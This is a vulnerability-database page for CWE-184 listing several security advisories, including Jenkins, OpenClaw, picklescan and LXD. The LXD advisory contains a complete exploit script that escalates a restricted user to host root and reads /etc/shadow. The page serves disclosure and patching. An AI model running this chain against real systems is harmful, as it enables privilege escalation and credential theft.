CWE-184
AllowedIncomplete List of Disallowed Inputs
Abstraction: Base · Status: Draft
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
306 vulnerabilities reference this CWE, most recent first.
GHSA-FFGG-VPHH-V273
Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-07-01 17:50Jenkins before versions 2.44 and 2.32.2 is vulnerable to an improper blacklisting of the Pipeline metadata files in the agent-to-master security subsystem. This could allow metadata files to be written to by malicious agents (SECURITY-358).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.32.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.32.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.43"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.34"
},
{
"fixed": "2.44"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-2602"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-01T17:50:30Z",
"nvd_published_at": "2018-05-15T21:29:00Z",
"severity": "MODERATE"
},
"details": "Jenkins before versions 2.44 and 2.32.2 is vulnerable to an improper blacklisting of the Pipeline metadata files in the agent-to-master security subsystem. This could allow metadata files to be written to by malicious agents (SECURITY-358).",
"id": "GHSA-ffgg-vphh-v273",
"modified": "2022-07-01T17:50:30Z",
"published": "2022-05-13T01:36:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2602"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/414ff7e30aba66bed18c4ee8a8660fb36fc8c655"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-2602"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/jenkins"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2017-02-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Incomplete List of Disallowed Inputs in Jenkins"
}
GHSA-FFHM-8FWQ-7Q27
Vulnerability from github – Published: 2026-06-13 00:34 – Updated: 2026-06-13 00:34OpenClaw before 2026.5.12 contains an allowlist bypass vulnerability in PowerShell encoded-command handling that allows attackers to execute encoded commands using abbreviated flag aliases not recognized by the allowlist parser. Remote authenticated operators can bypass execution allowlist checks by using unrecognized encoded-command alias forms to execute arbitrary PowerShell content.
{
"affected": [],
"aliases": [
"CVE-2026-53836"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-12T22:16:55Z",
"severity": "HIGH"
},
"details": "OpenClaw before 2026.5.12 contains an allowlist bypass vulnerability in PowerShell encoded-command handling that allows attackers to execute encoded commands using abbreviated flag aliases not recognized by the allowlist parser. Remote authenticated operators can bypass execution allowlist checks by using unrecognized encoded-command alias forms to execute arbitrary PowerShell content.",
"id": "GHSA-ffhm-8fwq-7q27",
"modified": "2026-06-13T00:34:33Z",
"published": "2026-06-13T00:34:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-j472-gf56-x589"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53836"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-allowlist-bypass-via-powershell-encoded-command-aliases"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FFWW-3J7J-G93Q
Vulnerability from github – Published: 2025-04-08 18:34 – Updated: 2025-04-08 18:34Incomplete list of disallowed inputs in Microsoft Office OneNote allows an unauthorized attacker to bypass a security feature locally.
{
"affected": [],
"aliases": [
"CVE-2025-29822"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-08T18:16:08Z",
"severity": "HIGH"
},
"details": "Incomplete list of disallowed inputs in Microsoft Office OneNote allows an unauthorized attacker to bypass a security feature locally.",
"id": "GHSA-ffww-3j7j-g93q",
"modified": "2025-04-08T18:34:57Z",
"published": "2025-04-08T18:34:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29822"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-29822"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FH2F-24RH-R2VQ
Vulnerability from github – Published: 2026-06-21 15:31 – Updated: 2026-06-21 15:31picklescan before 0.0.25 fails to detect malicious pickle files that use timeit.timeit() in the reduce method, allowing remote code execution. Attackers can craft pickle files that import dangerous libraries like os and execute arbitrary system commands, which evade picklescan detection and execute when pickle.load() is called.
{
"affected": [],
"aliases": [
"CVE-2025-71351"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-21T14:16:22Z",
"severity": "HIGH"
},
"details": "picklescan before 0.0.25 fails to detect malicious pickle files that use timeit.timeit() in the __reduce__ method, allowing remote code execution. Attackers can craft pickle files that import dangerous libraries like os and execute arbitrary system commands, which evade picklescan detection and execute when pickle.load() is called.",
"id": "GHSA-fh2f-24rh-r2vq",
"modified": "2026-06-21T15:31:23Z",
"published": "2026-06-21T15:31:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-v7x6-rv5q-mhwc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71351"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-timeit-timeit-detection-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FM2X-C5QW-4H6F
Vulnerability from github – Published: 2026-04-10 19:21 – Updated: 2026-04-10 19:21Summary
The isVMLowLevelOptionForbidden function in lxd/project/limits/permissions.go is missing raw.apparmor and raw.qemu.conf from its hardcoded forbidden list. A user with can_edit permission on a VM instance in a restricted project can combine these two omissions to bridge the LXD unix socket into the guest VM and gain full cluster administrator access. This bypasses the restricted.virtual-machines.lowlevel=block project restriction, which is the security control specifically designed to prevent raw config injection.
Details
Affected code
The enforcement point for VM lowlevel restrictions is isVMLowLevelOptionForbidden at lxd/project/limits/permissions.go:924-926:
func isVMLowLevelOptionForbidden(key string) bool {
return slices.Contains([]string{"boot.host_shutdown_timeout", "limits.memory.hugepages", "raw.idmap", "raw.qemu"}, key)
}
This list is missing two security-critical config keys:
raw.apparmor-- allows injecting arbitrary AppArmor rules into the QEMU process confinement profileraw.qemu.conf-- allows injecting arbitrary sections into the QEMU configuration file
The container equivalent (isContainerLowLevelOptionForbidden at line 916) correctly includes raw.apparmor in its forbidden list.
Attack mechanism
Both raw.apparmor and raw.qemu.conf are valid VM config keys (defined in lxd/instance/instancetype/instance.go). When a restricted user sets them on a VM in a project with restricted.virtual-machines.lowlevel=block, the entity config checker at line 779 calls isVMLowLevelOptionForbidden for each key, which returns false for both. The config is accepted without error.
On VM startup:
-
instanceProfile(lxd/apparmor/instance.go:150) readsraw.apparmorfrom the expanded config and injects it verbatim into the QEMU AppArmor profile template (lxd/apparmor/instance_qemu.go:114-118). An attacker-supplied rule like/var/snap/lxd/common/lxd/unix.socket rw,grants the QEMU process read-write access to the LXD unix socket. -
qemuRawCfgOverride(lxd/instance/drivers/driver_qemu_config_override.go:242) readsraw.qemu.confand appends new sections to the generated QEMU config. The attacker adds a[chardev]section withbackend = "socket"pointing at the LXD unix socket, and a[device]section creating avirtserialportconnected to it. -
QEMU starts with
-readconfigcontaining the injected drive definition. The QEMU process connects to/var/snap/lxd/common/lxd/unix.socket(permitted by the injected AppArmor rule) and exposes the connection as/dev/virtio-ports/lxd.exploitinside the VM.
The exposed socket grants full administrative access to the entire LXD cluster, which can be used to create privileged containers, mount the host root filesystem, and escape to host root.
Affected deployments
Any LXD deployment where:
- A project has
restricted=trueandrestricted.virtual-machines.lowlevel=block(the default whenrestricted=true) - A user has
can_editon a VM instance in that project (also implied by project-leveloperator,can_edit_instances, orinstance_managerentitlements)
The minimum required entitlements are can_create_instances (to create a VM), can_edit on the instance (to set config keys -- lxc config set), can_update_state (to start the VM), and can_exec (to read the block device from inside the VM). Any of the broader project-level roles (operator, instance_manager) include all of these.
This includes the lxd-user multi-user daemon (shipped in the LXD snap), which auto-creates restricted projects for system users, and any multi-tenant, lab, CI/CD, or hosting deployment using restricted projects. These users are explicitly untrusted -- the restriction model exists to safely confine them. The LXD documentation states that restricted projects "prevent users from gaining root access" (doc/howto/projects_confine.md).
Version
Tested and confirmed on LXD 6.7.
PoC
The exploit requires two roles: an admin who sets up the restricted environment (once), and a restricted user who exploits it.
Admin setup (run on the LXD host)
# Create restricted project
# restricted.virtual-machines.lowlevel defaults to "block" when restricted=true
lxc project create poc-restricted \
-c features.profiles=true \
-c features.images=false \
-c restricted=true
# Create default profile with storage and network
lxc profile create default --project poc-restricted
lxc profile device add default root disk path=/ pool=default --project poc-restricted
lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted
# Create auth group with minimum entitlements needed for the exploit:
# can_view - required to reference the project in other permissions
# can_create_instances - create the VM
# can_edit_instances - set config keys (implies can_edit on all instances)
# can_operate_instances - start the VM and exec into it (implies can_update_state + can_exec)
# These are baseline permissions for any user who manages VMs in a project.
# None of these grant permission to edit the project configuration itself.
lxc auth group create vm-operators
lxc auth group permission add vm-operators project poc-restricted can_view
lxc auth group permission add vm-operators project poc-restricted can_create_instances
lxc auth group permission add vm-operators project poc-restricted can_edit_instances
lxc auth group permission add vm-operators project poc-restricted can_operate_instances
# Create restricted user identity
lxc auth identity create tls/alice --group vm-operators
# Give the output token to alice
Exploit (run as the restricted user "alice", from her own machine)
# Alice adds the remote using the token from admin setup
lxc remote add target <token>
REMOTE="target"
PROJECT="poc-restricted"
VM="poc-069"
SOCKET="/var/snap/lxd/common/lxd/unix.socket"
# Create a stopped VM
lxc init ubuntu:22.04 ${REMOTE}:${VM} --vm --project ${PROJECT}
# Inject AppArmor rule granting QEMU read-write access to the LXD unix socket.
# raw.apparmor is NOT in isVMLowLevelOptionForbidden -- bypasses restriction.
lxc config set ${REMOTE}:${VM} raw.apparmor \
" ${SOCKET} rw," --project ${PROJECT}
# Inject QEMU config: chardev connecting to unix socket, exposed as virtio-serial port.
# raw.qemu.conf is also NOT in isVMLowLevelOptionForbidden.
lxc config set ${REMOTE}:${VM} raw.qemu.conf '[chardev "lxdsock"]
backend = "socket"
path = "/var/snap/lxd/common/lxd/unix.socket"
[device "lxdchan"]
driver = "virtserialport"
chardev = "lxdsock"
bus = "dev-qemu_serial.0"
name = "lxd.exploit"' --project ${PROJECT}
# Start VM -- QEMU connects to the unix socket at startup.
lxc start ${REMOTE}:${VM} --project ${PROJECT}
sleep 30
# Elevate privileges to admin
# (add the "admin" entitlement to alice's group)
lxc exec ${REMOTE}:${VM} --project ${PROJECT} -- bash -c '
apt install -y socat curl
socat UNIX-LISTEN:/tmp/lxd.sock GOPEN:/dev/virtio-ports/lxd.exploit &
sleep 1
curl --unix-socket /tmp/lxd.sock http://localhost/1.0/auth/groups/vm-operators \
-X PUT -H "Content-Type: application/json" \
-d "{\"description\":\"\",\"permissions\":[{\"entity_type\":\"server\",\"url\":\"/1.0\",\"entitlement\":\"admin\"}]}"
'
# Create privileged container and mount root filesystem
lxc init ubuntu:22.04 ${REMOTE}:pwn-root --project default
lxc config set ${REMOTE}:pwn-root security.privileged=true --project default
lxc config device add ${REMOTE}:pwn-root hostroot disk \
source=/ path=/mnt/host --project default
lxc start ${REMOTE}:pwn-root --project default
# Full host root access
lxc exec ${REMOTE}:pwn-root --project default -- cat /mnt/host/etc/shadow
Impact
Privilege escalation from restricted project user to host root.
The full attack chain is: restricted VM user --> raw.apparmor + raw.qemu.conf injection (bypasses restricted.virtual-machines.lowlevel=block) --> QEMU chardev bridges LXD unix socket into VM as virtio-serial device --> single HTTP request through chardev adds admin entitlement to attacker's own group --> attacker's existing CLI session is now full admin --> create privileged container with host root mount --> host root.
This affects any deployment using LXD's restricted project model for multi-tenant isolation. The attacker requires only can_edit on a VM instance -- the baseline permission needed to manage VM configuration, which restricted projects are explicitly designed to safely grant to untrusted users such as students in shared labs, tenants in hosting environments, or CI/CD agents.
The exploit is trivial, requires no misconfiguration, works against correctly configured restricted projects with default settings, and has no race conditions or reliability concerns.
Remediation
Add raw.apparmor and raw.qemu.conf to the forbidden list in isVMLowLevelOptionForbidden:
func isVMLowLevelOptionForbidden(key string) bool {
return slices.Contains([]string{
"boot.host_shutdown_timeout",
"limits.memory.hugepages",
"raw.apparmor",
"raw.idmap",
"raw.qemu",
"raw.qemu.conf",
}, key)
}
Patches
| LXD Series | Interim release |
|---|---|
| 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 |
| 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 |
| 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 |
| 4.0 | https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1 |
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/canonical/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0-20210305023314-538ac3df036e"
},
{
"last_affected": "0.0.0-20260226085519-736f34afb267"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34177"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:21:00Z",
"nvd_published_at": "2026-04-09T10:16:21Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe `isVMLowLevelOptionForbidden` function in `lxd/project/limits/permissions.go` is missing `raw.apparmor` and `raw.qemu.conf` from its hardcoded forbidden list. A user with `can_edit` permission on a VM instance in a restricted project can combine these two omissions to bridge the LXD unix socket into the guest VM and gain full cluster administrator access. This bypasses the `restricted.virtual-machines.lowlevel=block` project restriction, which is the security control specifically designed to prevent raw config injection.\n\n## Details\n\n### Affected code\n\nThe enforcement point for VM lowlevel restrictions is `isVMLowLevelOptionForbidden` at `lxd/project/limits/permissions.go:924-926`:\n\n```go\nfunc isVMLowLevelOptionForbidden(key string) bool {\n return slices.Contains([]string{\"boot.host_shutdown_timeout\", \"limits.memory.hugepages\", \"raw.idmap\", \"raw.qemu\"}, key)\n}\n```\n\nThis list is missing two security-critical config keys:\n\n- **`raw.apparmor`** -- allows injecting arbitrary AppArmor rules into the QEMU process confinement profile\n- **`raw.qemu.conf`** -- allows injecting arbitrary sections into the QEMU configuration file\n\nThe container equivalent (`isContainerLowLevelOptionForbidden` at line 916) correctly includes `raw.apparmor` in its forbidden list.\n\n### Attack mechanism\n\nBoth `raw.apparmor` and `raw.qemu.conf` are valid VM config keys (defined in `lxd/instance/instancetype/instance.go`). When a restricted user sets them on a VM in a project with `restricted.virtual-machines.lowlevel=block`, the entity config checker at line 779 calls `isVMLowLevelOptionForbidden` for each key, which returns `false` for both. The config is accepted without error.\n\nOn VM startup:\n\n1. `instanceProfile` (`lxd/apparmor/instance.go:150`) reads `raw.apparmor` from the expanded config and injects it verbatim into the QEMU AppArmor profile template (`lxd/apparmor/instance_qemu.go:114-118`). An attacker-supplied rule like `/var/snap/lxd/common/lxd/unix.socket rw,` grants the QEMU process read-write access to the LXD unix socket.\n\n2. `qemuRawCfgOverride` (`lxd/instance/drivers/driver_qemu_config_override.go:242`) reads `raw.qemu.conf` and appends new sections to the generated QEMU config. The attacker adds a `[chardev]` section with `backend = \"socket\"` pointing at the LXD unix socket, and a `[device]` section creating a `virtserialport` connected to it.\n\n3. QEMU starts with `-readconfig` containing the injected drive definition. The QEMU process connects to `/var/snap/lxd/common/lxd/unix.socket` (permitted by the injected AppArmor rule) and exposes the connection as `/dev/virtio-ports/lxd.exploit` inside the VM.\n\nThe exposed socket grants full administrative access to the entire LXD cluster, which can be used to create privileged containers, mount the host root filesystem, and escape to host root.\n\n### Affected deployments\n\nAny LXD deployment where:\n\n- A project has `restricted=true` and `restricted.virtual-machines.lowlevel=block` (the default when `restricted=true`)\n- A user has `can_edit` on a VM instance in that project (also implied by project-level `operator`, `can_edit_instances`, or `instance_manager` entitlements)\n\nThe minimum required entitlements are `can_create_instances` (to create a VM), `can_edit` on the instance (to set config keys -- `lxc config set`), `can_update_state` (to start the VM), and `can_exec` (to read the block device from inside the VM). Any of the broader project-level roles (`operator`, `instance_manager`) include all of these.\n\nThis includes the `lxd-user` multi-user daemon (shipped in the LXD snap), which auto-creates restricted projects for system users, and any multi-tenant, lab, CI/CD, or hosting deployment using restricted projects. These users are explicitly untrusted -- the restriction model exists to safely confine them. The LXD documentation states that restricted projects \"prevent users from gaining root access\" (`doc/howto/projects_confine.md`).\n\n### Version\n\nTested and confirmed on LXD 6.7.\n\n## PoC\n\nThe exploit requires two roles: an admin who sets up the restricted environment (once), and a restricted user who exploits it.\n\n### Admin setup (run on the LXD host)\n\n```bash\n# Create restricted project\n# restricted.virtual-machines.lowlevel defaults to \"block\" when restricted=true\nlxc project create poc-restricted \\\n -c features.profiles=true \\\n -c features.images=false \\\n -c restricted=true\n\n# Create default profile with storage and network\nlxc profile create default --project poc-restricted\nlxc profile device add default root disk path=/ pool=default --project poc-restricted\nlxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted\n\n# Create auth group with minimum entitlements needed for the exploit:\n# can_view - required to reference the project in other permissions\n# can_create_instances - create the VM\n# can_edit_instances - set config keys (implies can_edit on all instances)\n# can_operate_instances - start the VM and exec into it (implies can_update_state + can_exec)\n# These are baseline permissions for any user who manages VMs in a project.\n# None of these grant permission to edit the project configuration itself.\nlxc auth group create vm-operators\nlxc auth group permission add vm-operators project poc-restricted can_view\nlxc auth group permission add vm-operators project poc-restricted can_create_instances\nlxc auth group permission add vm-operators project poc-restricted can_edit_instances\nlxc auth group permission add vm-operators project poc-restricted can_operate_instances\n\n# Create restricted user identity\nlxc auth identity create tls/alice --group vm-operators\n# Give the output token to alice\n```\n\n### Exploit (run as the restricted user \"alice\", from her own machine)\n\n```bash\n# Alice adds the remote using the token from admin setup\nlxc remote add target \u003ctoken\u003e\n\nREMOTE=\"target\"\nPROJECT=\"poc-restricted\"\nVM=\"poc-069\"\nSOCKET=\"/var/snap/lxd/common/lxd/unix.socket\"\n\n# Create a stopped VM\nlxc init ubuntu:22.04 ${REMOTE}:${VM} --vm --project ${PROJECT}\n\n# Inject AppArmor rule granting QEMU read-write access to the LXD unix socket.\n# raw.apparmor is NOT in isVMLowLevelOptionForbidden -- bypasses restriction.\nlxc config set ${REMOTE}:${VM} raw.apparmor \\\n \" ${SOCKET} rw,\" --project ${PROJECT}\n\n# Inject QEMU config: chardev connecting to unix socket, exposed as virtio-serial port.\n# raw.qemu.conf is also NOT in isVMLowLevelOptionForbidden.\nlxc config set ${REMOTE}:${VM} raw.qemu.conf \u0027[chardev \"lxdsock\"]\nbackend = \"socket\"\npath = \"/var/snap/lxd/common/lxd/unix.socket\"\n\n[device \"lxdchan\"]\ndriver = \"virtserialport\"\nchardev = \"lxdsock\"\nbus = \"dev-qemu_serial.0\"\nname = \"lxd.exploit\"\u0027 --project ${PROJECT}\n\n# Start VM -- QEMU connects to the unix socket at startup.\nlxc start ${REMOTE}:${VM} --project ${PROJECT}\nsleep 30\n\n# Elevate privileges to admin\n# (add the \"admin\" entitlement to alice\u0027s group)\nlxc exec ${REMOTE}:${VM} --project ${PROJECT} -- bash -c \u0027\napt install -y socat curl\nsocat UNIX-LISTEN:/tmp/lxd.sock GOPEN:/dev/virtio-ports/lxd.exploit \u0026\nsleep 1\ncurl --unix-socket /tmp/lxd.sock http://localhost/1.0/auth/groups/vm-operators \\\n -X PUT -H \"Content-Type: application/json\" \\\n -d \"{\\\"description\\\":\\\"\\\",\\\"permissions\\\":[{\\\"entity_type\\\":\\\"server\\\",\\\"url\\\":\\\"/1.0\\\",\\\"entitlement\\\":\\\"admin\\\"}]}\"\n\u0027\n\n# Create privileged container and mount root filesystem\nlxc init ubuntu:22.04 ${REMOTE}:pwn-root --project default\nlxc config set ${REMOTE}:pwn-root security.privileged=true --project default\nlxc config device add ${REMOTE}:pwn-root hostroot disk \\\n source=/ path=/mnt/host --project default\nlxc start ${REMOTE}:pwn-root --project default\n\n# Full host root access\nlxc exec ${REMOTE}:pwn-root --project default -- cat /mnt/host/etc/shadow\n```\n\n## Impact\n\n**Privilege escalation from restricted project user to host root.**\n\nThe full attack chain is: restricted VM user --\u003e `raw.apparmor` + `raw.qemu.conf` injection (bypasses `restricted.virtual-machines.lowlevel=block`) --\u003e QEMU chardev bridges LXD unix socket into VM as virtio-serial device --\u003e single HTTP request through chardev adds `admin` entitlement to attacker\u0027s own group --\u003e attacker\u0027s existing CLI session is now full admin --\u003e create privileged container with host root mount --\u003e host root.\n\nThis affects any deployment using LXD\u0027s restricted project model for multi-tenant isolation. The attacker requires only `can_edit` on a VM instance -- the baseline permission needed to manage VM configuration, which restricted projects are explicitly designed to safely grant to untrusted users such as students in shared labs, tenants in hosting environments, or CI/CD agents.\n\nThe exploit is trivial, requires no misconfiguration, works against correctly configured restricted projects with default settings, and has no race conditions or reliability concerns.\n\n## Remediation\n\nAdd `raw.apparmor` and `raw.qemu.conf` to the forbidden list in `isVMLowLevelOptionForbidden`:\n\n```go\nfunc isVMLowLevelOptionForbidden(key string) bool {\n return slices.Contains([]string{\n \"boot.host_shutdown_timeout\",\n \"limits.memory.hugepages\",\n \"raw.apparmor\",\n \"raw.idmap\",\n \"raw.qemu\",\n \"raw.qemu.conf\",\n }, key)\n}\n```\n\n### Patches\n\n| LXD Series | Interim release |\n| ------------- | ------------- |\n| 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 |\n| 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 |\n| 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 |\n| 4.0 | https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1 |",
"id": "GHSA-fm2x-c5qw-4h6f",
"modified": "2026-04-10T19:21:00Z",
"published": "2026-04-10T19:21:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/security/advisories/GHSA-fm2x-c5qw-4h6f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34177"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/pull/17909"
},
{
"type": "PACKAGE",
"url": "https://github.com/canonical/lxd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "LXD: VM lowlevel restriction bypass via raw.apparmor and raw.qemu.conf"
}
GHSA-FVX6-PJ3R-5Q4Q
Vulnerability from github – Published: 2026-04-06 22:53 – Updated: 2026-04-06 22:53Summary
Before OpenClaw 2026.4.2, exec script preflight validation could fail open on complex interpreter invocations such as pipes or other non-simple command forms. In those cases, script-content validation could be skipped entirely.
Impact
An attacker-controlled command shape could bypass the intended preflight validation for script execution. This weakened a defense-in-depth guard that was meant to block unsafe script content before execution.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.4.1 - Patched versions:
>= 2026.4.2 - Latest published npm version:
2026.4.1
Fix Commit(s)
8aceaf5d0f0ec552b75a792f7f0a3bfa5b091513— close the fail-open bypass in exec script preflight
Release Process Note
The fix is present on main and is staged for OpenClaw 2026.4.2. Publish this advisory after the 2026.4.2 npm release is live.
Thanks @iskindar for reporting, and thanks @wsparks-vc for coordination.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.4.1"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34425"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-06T22:53:48Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nBefore OpenClaw 2026.4.2, exec script preflight validation could fail open on complex interpreter invocations such as pipes or other non-simple command forms. In those cases, script-content validation could be skipped entirely.\n\n## Impact\n\nAn attacker-controlled command shape could bypass the intended preflight validation for script execution. This weakened a defense-in-depth guard that was meant to block unsafe script content before execution.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.4.1`\n- Patched versions: `\u003e= 2026.4.2`\n- Latest published npm version: `2026.4.1`\n\n## Fix Commit(s)\n\n- `8aceaf5d0f0ec552b75a792f7f0a3bfa5b091513` \u2014 close the fail-open bypass in exec script preflight\n\n## Release Process Note\n\nThe fix is present on `main` and is staged for OpenClaw `2026.4.2`. Publish this advisory after the `2026.4.2` npm release is live.\n\nThanks @iskindar for reporting, and thanks @wsparks-vc for coordination.",
"id": "GHSA-fvx6-pj3r-5q4q",
"modified": "2026-04-06T22:53:48Z",
"published": "2026-04-06T22:53:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-fvx6-pj3r-5q4q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34425"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/8aceaf5d0f0ec552b75a792f7f0a3bfa5b091513"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-shell-bleed-protection-preflight-validation-bypass"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "OpenClaw\u0027s complex interpreter pipelines could skip exec script preflight validation"
}
GHSA-G2HM-779G-VM32
Vulnerability from github – Published: 2026-04-17 21:48 – Updated: 2026-05-08 01:32Summary
Heartbeat owner downgrade missed untrusted webhook wake events.
Affected Packages / Versions
- Package:
openclaw - Ecosystem: npm
- Affected versions:
>= 2026.4.7 < 2026.4.14 - Patched versions:
>= 2026.4.14
Impact
Heartbeat owner downgrade logic could skip webhook wake events carrying untrusted content, preserving owner-like execution context where the run should have been downgraded.
Technical Details
The fix includes wake and hook event reasons in owner-downgrade inspection and forces downgrade for untrusted hook wake events.
Fix
The issue was fixed in #66031. The first stable tag containing the fix is v2026.4.14, and openclaw@2026.4.14 includes the fix.
Fix Commit(s)
31281bc92f55796817a92bc43f722cba1e77ab42- PR: #66031
Release Process Note
Users should upgrade to openclaw 2026.4.14 or newer. The latest npm release, 2026.4.14, already includes the fix.
Credits
Thanks to @zsxsoft, with sponsorship from @KeenSecurityLab and @qclawer for reporting this issue.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "2026.4.7"
},
{
"fixed": "2026.4.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43566"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-17T21:48:25Z",
"nvd_published_at": "2026-05-05T12:16:20Z",
"severity": "MODERATE"
},
